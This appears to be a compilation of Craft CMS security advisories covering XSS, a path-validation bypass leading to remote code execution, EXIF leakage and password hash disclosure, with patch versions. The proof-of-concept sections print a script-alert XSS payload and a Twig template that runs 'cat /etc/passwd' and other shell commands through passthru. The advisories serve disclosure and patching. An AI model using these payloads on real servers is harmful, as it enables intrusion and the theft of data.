Impact

This is a potential moderate impact, low complexity privilege escalation vulnerability in Craft with certain user permissions setups.

Patches

This has been fixed in Craft 4.4.16 and Craft 3.9.6. Users should ensure they are running at least those versions.

References

https://github.com/craftcms/cms/pull/13932 https://github.com/craftcms/cms/pull/13931 https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4511---2023-11-16 https://github.com/craftcms/cms/blob/v3/CHANGELOG.md#396---2023-11-16

Summary The platform does not filter input and encode output in Quick Post validation error message, which can deliver an XSS payload.

Details Old CVE fixed the XSS in label HTML but didn’t fix it when clicking save.

PoC 1. Login at admin 2. Go to setting 3. Create a Section 4. On Entry page, click Edit label 5. Inject the XSS payload into the label and save 6. On the admin dashboard choose new widget -> Quick Post 7. In Quick Post, click save with blank slug; The XSS will be executed

"errors":{"title":["<script>alert('nono')</script> cannot be blank."],"slug":["Slug cannot be blank."]

Fixed in https://github.com/craftcms/cms/commit/9d0cd0bda7c8a830a3373f8c0f06943e519ac888

Summary Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOWADMINCHANGES=true)

Details

In bootstrap.php, the SystemPaths path is set as below. php // Set the vendor path. By default assume that it's 4 levels up from here $vendorPath = $findConfigPath('--vendorPath', 'CRAFTVENDORPATH') ?? dirname(DIR, 3);

// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/. $rootPath = $findConfigPath('--basePath', 'CRAFTBASEPATH') ?? dirname($vendorPath);

// By default the remaining directories will be in the base directory $dotenvPath = $findConfigPath('--dotenvPath', 'CRAFTDOTENVPATH') ?? "$rootPath/.env"; $configPath = $findConfigPath('--configPath', 'CRAFTCONFIGPATH') ?? "$rootPath/config"; $contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFTCONTENTMIGRATIONSPATH') ?? "$rootPath/migrations"; $storagePath = $findConfigPath('--storagePath', 'CRAFTSTORAGEPATH') ?? "$rootPath/storage"; $templatesPath = $findConfigPath('--templatesPath', 'CRAFTTEMPLATESPATH') ?? "$rootPath/templates"; $translationsPath = $findConfigPath('--translationsPath', 'CRAFTTRANSLATIONSPATH') ?? "$rootPath/translations"; $testsPath = $findConfigPath('--testsPath', 'CRAFTTESTSPATH') ?? "$rootPath/tests";

Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir() php / @param string $attribute @param array|null $params @param InlineValidator $validator @return void @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { // Make sure it’s not within any of the system directories $path = FileHelper::absolutePath($this->getRootPath(), '/');

$systemDirs = Craft::$app->getPath()->getSystemPaths();

foreach ($systemDirs as $dir) { $dir = FileHelper::absolutePath($dir, '/'); if (strstartswith("$path/", "$dir/")) { $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.')); break; } } }

ref. https://www.php.net/manual/en/wrappers.file.php

PoC 1) Create a new filesystem. Base Path: file:///var/www/html/templates

!1

2) Create a new asset volume. Asset Filesystem: localbypass

!2

3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates twig {{'<pre>'}} {{13371337}} {{['cat /etc/passwd']|map('passthru')|join}} {{['id;pwd;ls -altr /']|map('passthru')|join}} !3 !4

4) Create a new route. URI: , Template: poc.ttml

!5

5) Confirm RCE on arbitrary path ( / )

!6

PoC Env

!0628 env

Impact Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)

A malformed title in the feed widget of craftcms/cms can deliver an XSS payload. This has been resolved in this commit.

In some circumstances, Craft 2 before 2.7.10 and 3 before 3.2.6 wasn't stripping EXIF data from user-uploaded images when it was configured to do so, potentially exposing personal/geolocation data to the public.

All Craft CMS versions between 3.0.0 and 3.7.32 disclose password hashes of users who authenticate using their E-Mail address or username in Anti-CSRF-Tokens. Craft CMS uses a cookie called CRAFTCSRFTOKEN and a HTML hidden field called CRAFTCSRFTOKEN to avoid Cross Site Request Forgery attacks. The CRAFTCSRFTOKEN cookie discloses the password hash in without encoding it whereas the corresponding HTML hidden field discloses the users' password hash in a masked manner, which can be decoded by using public functions of the YII framework.